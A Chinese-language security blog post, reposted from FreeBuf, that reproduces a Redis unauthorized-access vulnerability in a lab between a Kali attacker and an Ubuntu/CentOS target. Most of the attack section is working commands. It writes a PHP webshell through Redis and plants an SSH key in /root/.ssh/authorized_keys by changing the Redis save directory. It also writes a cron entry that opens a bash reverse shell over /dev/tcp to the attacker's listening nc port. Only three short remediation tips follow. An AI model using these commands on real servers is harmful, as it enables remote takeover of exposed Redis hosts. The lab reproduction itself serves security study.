Redis未授权访问漏洞复现
2020-01-19 16:00:48 Author: www.freebuf.com(查看原文) 阅读量:444 收藏

漏洞复现

攻击机 kali  ip:192.168.70.140
靶机 Ubuntu 16.04   ip:192.168.70.133

一、环境搭建

1、下载安装redis

wgethttp://download.redis.io/releases/redis-3.2.11.tar.gz

2、 解压压缩包

tarzxvfredis-3.2.11.tar.gz。

3、进入解压目录redis-3.2.11 执行make命令

4、 进入src目录 cd redis-3.2.11/src

5、将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)

返回目录redis-2.8.17,将redis.conf拷贝到/etc/目录下:

使用/etc/目录下的reids.conf文件中的配置启动redis服务:

6、编辑etc中的redis配置文件redis.conf

去掉ip绑定,允许除本地外的主机远程登录redis服务 前面加#注释掉

关闭保护模式,允许远程连接redis服务将yes 改为no

二、利用方式

写入webshell

测试目标靶机是否存在未授权访问,下面靶机存在未授权访问

1.远程连接redis

2.在靶机写入cs.php文件

我们将shell写入/home/ubuntus/cs目录下

save保存

3.在靶机查看,有cs.php文件,shell写入完成

如果写入网站服务的路径下,后续可以使用工具连接shell

通过写入SSH公钥实现ssh登录

原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生一个授权的key

1、首先在攻击机(kali)上生成ssh公钥

进入.ssh目录:cd.ssh/

2.将公钥写入key.txt文件(前后用\n换行,避免和redis里其他缓存数据混合)

(echo -e”\n”;cat id_rsa.pub;echo -e “\n”)>key.txt

3.将key.txt写靶机(使用redis-cli -h ip命令连接靶机,写入文件)

cat key.txt|redis-cli -h 192.168.70.133 -x set crack

4.远程登录靶机的Redis服务,redis-cli -h 192.168.70.140

5.更改redis备份路径为ssh公钥存放目录

6.设置上传公钥的备份文件名字为authorized_keys

save保存

7.在攻击机上直接ssh免密登录靶机,免密登录成功

nc反弹

目标计为centos

在攻击机(kali)执行 nc -v -l -p 9999 监听

连接目标主机:redis-cli -h 192.168.70.140

写入shell并保存

set xxx “\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.70.140/9999 0>&1\n\n”

config set dir /var/spool/cron

config set dbfilename root

save

客户端会收到目标机的反弹shell。**在ubuntu测试计划任务写入成功但不执行

config set dir /var/spool/cron/ //配置文件夹的路径(CONFIG SET 命令可以动态地调整 Redis 服务器的配置而(configuration)而无须重启。)//每个用户生成的crontab文件,都会放在 /var/spool/cron/ 目录下面

set xxx “\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.70.140/9999 0>&1\n\n”

//直接往当前用户的crontab里写入反弹shell,换行也是必须的

三、修复建议

1.禁止一些高危命令

2.以低权限运行 Redis 服务

3.禁止外网访问 Redis

*本文作者:shineT,转载请注明来自FreeBuf.COM


文章来源: https://www.freebuf.com/vuls/223432.html
如有侵权请联系:admin#unsafe.sh